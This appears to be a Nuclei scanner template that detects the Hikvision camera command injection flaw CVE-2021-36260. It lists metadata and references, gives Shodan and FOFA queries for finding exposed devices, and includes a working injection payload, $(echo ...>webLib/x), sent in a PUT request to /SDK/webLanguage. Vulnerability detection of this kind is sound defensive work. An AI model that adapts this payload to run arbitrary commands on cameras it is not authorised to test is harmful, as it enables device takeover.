54 lines
2.3 KiB
YAML
54 lines
2.3 KiB
YAML
id: CVE-2021-36260
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info:
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name: Hikvision IP camera/NVR - Remote Command Execution
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author: pdteam,gy741,johnk3r
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severity: critical
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description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
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impact: |
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Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the affected device.
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remediation: |
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Apply the latest firmware update provided by Hikvision to mitigate this vulnerability.
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reference:
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- https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
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- https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-36260
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- https://github.com/Aiminsun/CVE-2021-36260
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- https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-36260
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cwe-id: CWE-78
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epss-score: 0.97484
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epss-percentile: 0.99965
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cpe: cpe:2.3:o:hikvision:ds-2cd2026g2-iu\/sl_firmware:-:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: hikvision
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product: ds-2cd2026g2-iu\/sl_firmware
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shodan-query: http.favicon.hash:999357577
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fofa-query: icon_hash=999357577
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tags: cve2021,cve,hikvision,rce,iot,intrusive,kev
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variables:
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string: "{{to_lower(rand_base(12))}}"
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http:
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- raw:
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- |
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PUT /SDK/webLanguage HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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<?xml version="1.0" encoding="UTF-8"?><language>$(echo {{string}}>webLib/x)</language>
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- |
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GET /x HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- "{{string}}"
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# digest: 4b0a00483046022100b111a43ea33cd26295e4fef35df7ff880f43e8847011335dbdf1efdcfbf20738022100b0b41a74f5528b64e1b0700f377c4629ca12c346f9bfe81f1799651737baeb19:922c64590222798bb761d5b6d8e72950 |